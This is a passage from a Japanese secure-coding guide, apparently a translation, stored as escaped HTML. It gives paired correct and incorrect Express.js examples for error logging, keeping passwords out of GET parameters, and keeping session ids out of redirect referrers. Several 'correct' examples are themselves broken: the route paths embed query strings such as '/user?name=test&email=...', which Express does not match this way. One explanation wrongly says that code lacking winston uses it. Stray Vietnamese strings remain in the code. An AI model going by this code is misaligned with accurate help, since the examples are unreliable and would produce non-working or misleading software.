3059\u3002<\/p>\n<p>\u30ed\u30b0\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306f\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u6301\u3063\u3066\u3044\u308b\u30e6\u30fc\u30b6\u306e\u307f\u306b\u5236\u9650\u3057\u307e\u3059\u3002<\/p>\n<p>\u30ed\u30b0\u304c\u91cd\u8981\u306a\u30a4\u30d9\u30f3\u30c8\u306e\u60c5\u5831\u3092\u8a18\u8f09\u3059\u308b\u5fc5\u8981\u3067\u3059\u3002\u4f8b\u3048\u3070\uff1a\u30a4\u30d9\u30f3\u30c8\u304c\u767a\u751f\u3057\u305f\u6642\u70b9\u3001\u30a4\u30d9\u30f3\u30c8\u306e\u6df1\u523b\u3055\u3001\u30a4\u30d9\u30f3\u30c8\u306e\u30bf\u30b0\u3001\u30a4\u30d9\u30f3\u30c8\u3092\u8d77\u3053\u3057\u305f\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u60c5\u5831\u3001IP\u30bd\u30fc\u30b9\u3001Dest IP\u3001\u30a4\u30d9\u30f3\u30c8\u306e\u8a18\u8f09\u306a\u3069\u3002<\/p>\n<p>\u554f\u984c\u304c\u767a\u751f\u3057\u305f\u5834\u5408\u3001\u7d4c\u7def\u3092\u9061\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u3001\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\u306e\u60c5\u5831\u306f\u6210\u529f\u30a4\u30d9\u30f3\u30c8\u3084\u5931\u6557\u30a4\u30d9\u30f3\u30c8\u3092\u3059\u3079\u3066\u8a18\u8f09\u3059\u308b\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<p>Web \u30b5\u30a4\u30c8\u304b\u3089\u306e\u30a8\u30e9\u30fc\u8fd4\u4fe1\u3067\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u8a73\u7d30\u3001\u30a2\u30d7\u30ea\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3001\u30a2\u30ab\u30a6\u30f3\u30c8\u60c5\u5831\u306a\u3069\u306e\u6a5f\u5bc6\u60c5\u5831\u3092\u6f0f\u6d29\u3057\u306a\u3044\u3088\u3046\u306b\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Express.js \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305f Nodejs \u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> winston = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'winston'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30ac\u30fc\u3092\u8a2d\u5b9a\u3059\u308b<\/span> \r\n<span class=\"hljs-keyword\">const<\/span> logger = winston.<span class=\"hljs-title function_\">createLogger<\/span>({ \r\n<span class=\"hljs-attr\">  level<\/span>: <span class=\"hljs-string\">'info'<\/span>, \r\n<span class=\"hljs-attr\">  format<\/span>: winston.<span class=\"hljs-property\">format<\/span>.<span class=\"hljs-title function_\">simple<\/span>(), \r\n<span class=\"hljs-attr\">  transports<\/span>: [ \r\n<span class=\"hljs-keyword\">    new<\/span> winston.<span class=\"hljs-property\">transports<\/span>.<span class=\"hljs-title class_\">Console<\/span>(), \r\n<span class=\"hljs-keyword\">    new<\/span> winston.<span class=\"hljs-property\">transports<\/span>.<span class=\"hljs-title class_\">File<\/span>({ <span class=\"hljs-attr\">filename<\/span>: <span class=\"hljs-string\">'error.log'<\/span>, <span class=\"hljs-attr\">level<\/span>: <span class=\"hljs-string\">'error'<\/span> }) \r\n  ] \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\u7528\u306e\u30df\u30c9\u30eb\u30a6\u30a7\u30a2 <\/span> \r\napp.<span class=\"hljs-title function_\">use<\/span>(<span class=\"hljs-function\">(<span class=\"hljs-params\">err, req, res, next<\/span>) =&gt;<\/span> { \r\n  logger.<span class=\"hljs-title function_\">error<\/span>(err.<span class=\"hljs-property\">stack<\/span>); \r\n  res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'C\u00f3 l\u1ed7i x\u1ea3y ra.'<\/span> }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30eb\u30fc\u30c8\u304c\u30a8\u30e9\u30fc\u3092\u8d77\u3053\u3057\u307e\u3057\u305f<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/error'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res, next<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> error = <span class=\"hljs-keyword\">new<\/span> <span class=\"hljs-title class_\">Error<\/span>(<span class=\"hljs-string\">'message error'<\/span>); \r\n<span class=\"hljs-title function_\">  next<\/span>(error); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u30b3\u30fc\u30c9\u3067\u306fwinston\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u4f7f\u3063\u3066\u3001\u30ed\u30ac\u30fc\u3092\u4f5c\u6210\u3057\u3001\u30a8\u30e9\u30fc\u60c5\u5831\u3092\u8a18\u8f09\u3057\u3066\u3001&#8221;error.log&#8221;\u30d5\u30a1\u30a4\u30eb\u306b\u683c\u7d0d\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3057\u307e\u3059\u3002\/error\u30eb\u30fc\u30c8\u306f\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u305f\u3053\u3068\u3092\u793a\u3059\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30eb\u30fc\u30c8\u3067\u3001\u30a8\u30e9\u30fc\u3092\u8d77\u3053\u3057\u3066\u3001next()\u3068\u3044\u3046\u95a2\u6570\u3067\u30a8\u30e9\u30fc\u3092\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\u30df\u30c9\u30eb\u30a6\u30a7\u30a2\u306b\u6e21\u3057\u307e\u3059\u3002\u30ed\u30ac\u30fc\u3092\u4f7f\u7528\u3059\u308c\u3070\u3001\u30a2\u30d7\u30ea\u306e\u7ba1\u7406\u304c\u3088\u308a\u7c21\u5358\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\u7528\u306e\u30df\u30c9\u30eb\u30a6\u30a7\u30a2 <\/span> \r\napp.<span class=\"hljs-title function_\">use<\/span>(<span class=\"hljs-function\">(<span class=\"hljs-params\">err, req, res, next<\/span>) =&gt;<\/span> { \r\n  res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'C\u00f3 l\u1ed7i x\u1ea3y ra.'<\/span> }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30eb\u30fc\u30c8\u304c\u30a8\u30e9\u30fc\u3092\u8d77\u3053\u3057\u307e\u3057\u305f<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/error'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res, next<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> error = <span class=\"hljs-keyword\">new<\/span> <span class=\"hljs-title class_\">Error<\/span>(<span class=\"hljs-string\">'message error'<\/span>); \r\n<span class=\"hljs-title function_\"> next<\/span>(error); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u30b3\u30fc\u30c9\u306fwinston\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u4f7f\u3063\u3066\u3001\u30ed\u30ac\u30fc\u3092\u4f5c\u6210\u3057\u3001\u30a8\u30e9\u30fc\u60c5\u5831\u3092\u8a18\u8f09\u3057\u307e\u305b\u3093\u3002\u3053\u306e\u5834\u5408\u3001\u30d7\u30ed\u30b0\u30e9\u30e0\u306b\u306f\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u305f\u3089\u3001\u30a8\u30e9\u30fc\u306e\u8abf\u67fb\u3084\u4fee\u6b63\u306a\u3069\u304c\u96e3\u3057\u3044\u3067\u3059\u3002<\/p>\n<h3>\u30c7\u30fc\u30bf\u4fdd\u8b77<\/h3>\n<p>\u30e6\u30fc\u30b6\u30fc\u540d\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u81ea\u52d5\u5165\u529b\u3059\u308b\u6a5f\u80fd\u3092\u6d88\u3057\u307e\u3059\u3002<\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3001\u30c8\u30fc\u30b1\u30f3\u3001\u30bb\u30c3\u30b7\u30e7\u30f3\u306eid\u306a\u3069\u306e\u6a5f\u5bc6\u60c5\u5831\u306fHTTP GET\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u3057\u3066\u6e21\u3057\u307e\u305b\u3093\u3002<\/p>\n<p>\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3001\u3084\u30e6\u30fc\u30b6\u30fc\u306e\u30a2\u30af\u30bb\u30b9\u60c5\u5831\u3001\u307e\u305f\u306f\u30b7\u30b9\u30c6\u30e0\u306e\u307b\u304b\u306e\u6a5f\u5bc6\u60c5\u5831\u306a\u3069\u3092\u542b\u3081\u3066\u3044\u308b\u30b3\u30e1\u30f3\u30c8\u306a\u3069\u306e\u5fc5\u8981\u306a\u3044\u30b3\u30e1\u30f3\u30c8\u3092\u3059\u3079\u3066\u524a\u9664\u3057\u307e\u3059\u3002<\/p>\n<p>\u5404\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u5f79\u5272\u306b\u57fa\u3065\u3044\u3066\u6a29\u9650\u3092\u5272\u308a\u5f53\u3066\u308b\u3053\u3068\u306f\u3001\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3084\u8aa4\u3063\u305f\u30a2\u30af\u30bb\u30b9\u3092\u5236\u9650\u3057\u3001\u30c7\u30fc\u30bf\u306e\u640d\u5931\u3092\u907f\u3051\u308b\u306e\u306b\u8ca2\u732e\u3057\u307e\u3059\u3002<\/p>\n<p>\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u304c\u30e6\u30fc\u30b6\u30fc\u306b\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u306a\u3044\u3088\u3046\u306b\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u30d5\u30a9\u30eb\u30c0\u30fc\u306e\u6a29\u9650\u3092\u8a2d\u5b9a\u3057\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3068\u305d\u306e\u4fdd\u5b58\u30d1\u30b9\u3092\u6f0f\u6d29\u3055\u305b\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u30b5\u30fc\u30d0\u306b\u683c\u7d0d\u3055\u308c\u3066\u3044\u308b\u6a5f\u5bc6\u60c5\u5831\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306e\u5236\u5fa1\u3092\u9069\u5f53\u306b\u5b9f\u65bd\u3057\u307e\u3059\u3002<\/p>\n<p>\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u5074\u3067\u306fHTTP\u30d8\u30c3\u30c0\u30fc\u306eCache-Control: no-store\u306a\u3069\u306e\u4f7f\u7528\u3067\u304d\u308b\u6a5f\u5bc6\u60c5\u5831\u3092\u542b\u3081\u3066\u3044\u308b\u30b5\u30a4\u30c8\u306e\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u7121\u52b9\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Express.js \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305f Nodejs \u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n\/\/ \u30e6\u30fc\u30b6\u30fc\u691c\u7d22\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/user?name=test&amp;email=test@gmail.com'<\/span>, async <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n const result = await userService.userSearch(req.<span class=\"hljs-property\">query<\/span>);\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json(result);<\/span>\r\n}); \r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u30b3\u30fc\u30c9\u3067\u306f\u3001 \/user\u30eb\u30fc\u30c8\u3067\u540d\u524d\u3068\u30e1\u30fc\u30eb\u3092\u4f7f\u3063\u3066\u30e6\u30fc\u30b6\u30fc\u3092\u691c\u7d22\u3057\u3066\u3001\u8a72\u5f53\u306a\u7d50\u679c\u3092\u8fd4\u3057\u307e\u3059\u3002<br \/>\n\u540d\u524d\u3068\u30e1\u30fc\u30eb\u306f\u6a5f\u5bc6\u60c5\u5831\u3067\u306f\u306a\u3044\u306e\u3067\u3001\u666e\u901a\u306b\u691c\u7d22\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\n\/\/ \u30e6\u30fc\u30b6\u30fc\u691c\u7d22\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/user?password=test123&amp;email=test@gmail.com'<\/span>, async <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n const result = await userService.userSearch(req.<span class=\"hljs-property\">query<\/span>);\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json(result);<\/span>\r\n}); \r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u30b3\u30fc\u30c9\u3067\u306f\u3001 \/user\u30eb\u30fc\u30c8\u3067\u30d1\u30b9\u30ef\u30fc\u30c9\u3068\u30e1\u30fc\u30eb\u3092\u4f7f\u3063\u3066\u30e6\u30fc\u30b6\u30fc\u3092\u691c\u7d22\u3057\u3066\u3001\u8a72\u5f53\u306a\u7d50\u679c\u3092\u8fd4\u3057\u307e\u3059\u3002<br \/>\n\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u6a5f\u5bc6\u60c5\u5831\u306a\u306e\u3067\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a19\u6e96\u306b\u9055\u53cd\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h3>\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3<\/h3>\n<p>\u5225\u306e\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u524d\u306bHTTP\u30ea\u30d5\u30a1\u30e9\u304b\u3089\u30bb\u30c3\u30b7\u30e7\u30f3\u306eid\u3001\u30c8\u30fc\u30b1\u30f3\u306a\u3069\u306e\u6a5f\u5bc6\u60c5\u5831\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u5916\u3059\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u5916\u90e8\u30b7\u30b9\u30c6\u30e0\u304c\u79c1\u305f\u3061\u306e\u30b7\u30b9\u30c6\u30e0\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u5834\u5408\u3001TLS\u63a5\u7d9a\u3092\u8a2d\u5b9a\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>\u3059\u3079\u3066\u306e\u6a5f\u5bc6\u60c5\u5831\u3092\u8ee2\u9001\u3059\u308b\u305f\u3081\u306bTLS\u3092\u4f7f\u7528\u3057\u3066\u6697\u53f7\u5316\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3001\u30bb\u30ad\u30e5\u30a2\u306a\u901a\u4fe1\u3092\u4fdd\u8b77\u3057\u307e\u3059\u3002<\/p>\n<p>\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u3067\u3059\u3079\u3066\u306e\u8a8d\u8a3c\u3055\u308c\u305f\u30a2\u30af\u30bb\u30b9\u304c\u5fc5\u8981\u306a\u5185\u5bb9\u3084\u3059\u3079\u3066\u306e\u30a2\u30af\u30bb\u30b9\u64cd\u4f5c\u306b\u305f\u3044\u3057\u3066\u3001\u5e38\u306bTLS\u63a5\u7d9a\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/p>\n<p>UTF-8\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u6587\u5b57\u30bb\u30c3\u30c8\u306f\u6697\u53f7\u5316\u3055\u308c\u305f\u63a5\u7d9a\u306b\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306fExpress.js\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305fNode.js\u306e\u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre>const https = require('https'); \r\nconst fs = require('fs'); \r\nconst express = require('express'); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">443<\/span>; \r\nconst app = express(); \r\n  \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/secure'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> {\r\n  console.log(<span class=\"hljs-string\">'\u30c7\u30fc\u30bf\u306f\u5b89\u5168\u306b\u6e21\u3055\u308c\u307e\u3059\u3002');<\/span>\r\n\u00a0 res.redirect('https:\/\/example.com'); \r\n});\r\n \r\n\/\/ T\u1ea1o server HTTPS\r\nhttps.createServer({\r\n key: fs.readFileSync('\/path\/to\/private-key.pem'), \r\n cert: fs.readFileSync('\/path\/to\/certificate.pem')\r\n}, app).listen(port);<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001https\u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066HTTPS\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u5229\u7528\u3059\u308b\u30b5\u30fc\u30d0\u30fc\u3092\u4f5c\u6210\u3057\u307e\u3057\u305f\u3002\u30e6\u30fc\u30b6\u30fc\u304c\/secure\u30eb\u30fc\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3068\u304d\u3001\u30c7\u30fc\u30bf\u306fHTTPS\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4ecb\u3057\u3066\u5b89\u5168\u306b\u8ee2\u9001\u3055\u308c\u3001https:\/\/example.com\u30c9\u30e1\u30a4\u30f3\u306b\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u3055\u308c\u307e\u3059\u3002\u60c5\u5831\u304c\u8ee2\u9001\u4e2d\u306b\u76d7\u307e\u308c\u305f\u308a\u5909\u66f4\u3055\u308c\u305f\u308a\u3059\u308b\u3053\u3068\u306f\u306a\u304f\u3001HTTP \u30ea\u30d5\u30a1\u30e9\u30fc\u306b\u306f\u6a5f\u5bc6\u60c5\u5831\u304c\u542b\u307e\u308c\u3066\u3044\u306a\u3044\u3053\u3068\u304c\u4fdd\u8a3c\u3055\u308c\u307e\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre>const https = require('https'); \r\nconst fs = require('fs'); \r\nconst express = require('express'); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">443<\/span>; \r\nconst app = express(); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/secure?session_id=xxx'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n\u00a0 res.redirect('https:\/\/example.com'); \r\n});\r\n \r\n\/\/ HTTPS\u30b5\u30fc\u30d0\u30fc\u3092\u4f5c\u6210\u3059\u308b\r\nhttps.createServer({\r\nkey: fs.readFileSync('\/path\/to\/private-key.pem'), \r\ncert: fs.readFileSync('\/path\/to\/certificate.pem')\r\n}, app).listen(port);<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\/secure\u30eb\u30fc\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308c\u3070\u3001https:\/\/example.com\u30c9\u30e1\u30a4\u30f3\u306b\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u3068\u304d\u3001HTTP\u30ea\u30d5\u30a1\u30e9\u30fc\u306b\u306f\u30bb\u30c3\u30b7\u30e7\u30f3\u306eid\u306a\u3069\u306e\u6a5f\u5bc6\u60c5\u5831\u304c\u542b\u307e\u308c\u3066\u304a\u308a\u3001https:\/\/example.com\u30c9\u30e1\u30a4\u30f3\u304b\u3089\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u3067\u3059\u3002<\/p>\n<h3>\u30b7\u30b9\u30c6\u30e0\u69cb\u6210<\/h3>\n<p>\u30b7\u30b9\u30c6\u30e0\u69cb\u6210\u3092\u7ba1\u7406\u3057\u3084\u3059\u304f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u308b\u3088\u3046\u306b\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3001\u30d0\u30fc\u30b8\u30e7\u30f3\u5c65\u6b74\u3001\u5909\u66f4\u5c65\u6b74\u3001\u304a\u3088\u3073\u3059\u3079\u3066\u306e\u30b7\u30b9\u30c6\u30e0\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306e\u5909\u66f4\u30ed\u30b0\u3092\u7ba1\u7406\u3059\u308b\u30b7\u30b9\u30c6\u30e0\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<p>\u305d\u308c\u305e\u308c\u306e\u958b\u767a\u3001\u30c6\u30b9\u30c8\u3001\u672c\u756a\u74b0\u5883\u306f\u3001\u8cc7\u6e90\u3084\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3092\u72ec\u7acb\u306b\u3057\u3066\u3001\u5171\u6709\u3057\u306a\u3044\u3088\u3046\u306b\u8a2d\u5b9a\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u30c7\u30fc\u30bf\u3092\u52b9\u679c\u7684\u306b\u7ba1\u7406\u3057\u3001\u30c6\u30b9\u30c8\u30b7\u30b9\u30c6\u30e0\u304b\u3089\u672c\u756a\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u653b\u6483\u306e\u30ea\u30b9\u30af\u3092\u907f\u3051\u308b\u305f\u3081\u3067\u3059\u3002<\/p>\n<p>HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u304b\u3089OS\u3001\u30a6\u30a7\u30d6\u30b5\u30fc\u30d0\u30fc\u30d0\u30fc\u30b8\u30e7\u30f3\u3001\u30c7\u30d0\u30c3\u30b0\u60c5\u5831\u3001\u307e\u305f\u306f\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306b\u95a2\u9023\u3059\u308b\u4e0d\u8981\u306a\u60c5\u5831\u3092\u5916\u3059\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u304c\u60c5\u5831\u3092\u53ce\u96c6\u3057\u3001\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u3078\u3088\u308a\u6df1\u304f\u653b\u6483\u3092\u56de\u907f\u3057\u307e\u3059\u3002<\/p>\n<p>\u30c7\u30d7\u30ed\u30a4\u3059\u308b\u524d\u306b\u3001\u672c\u756a\u74b0\u5883\u3067\u4f7f\u7528\u3055\u308c\u306a\u3044\u30c6\u30b9\u30c8\u30b3\u30fc\u30c9\u3084\u30c7\u30d0\u30c3\u30b0\u30b3\u30fc\u30c9\u306a\u3069\u3092\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u304b\u3089\u524a\u9664\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u6a5f\u5bc6\u60c5\u5831\u3084\u91cd\u8981\u306a\u60c5\u5831\u3092\u542b\u3080\u30d5\u30a1\u30a4\u30eb\u304c\u6f0f\u6d29\u3055\u308c\u306a\u3044\u3088\u3046\u306b\u3001Web\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30ea\u30b9\u30c6\u30a3\u30f3\u30b0\u6a5f\u80fd\u3092\u7121\u52b9\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u30b5\u30fc\u30d0\u30fc\u3001OS\u3001\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3001\u304a\u3088\u3073\u30b7\u30b9\u30c6\u30e0\u306e\u3059\u3079\u3066\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u304c\u5b89\u5168\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30db\u30fc\u30eb\u304c\u306a\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u3001\u3067\u304d\u308c\u3070\u6700\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u516c\u958b\u6e08\u307f\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u30c9\u304b\u3089\u306e\u653b\u6483\u3092\u5236\u9650\u3059\u308b\u3088\u3046\u306b\u3001\u30b5\u30fc\u30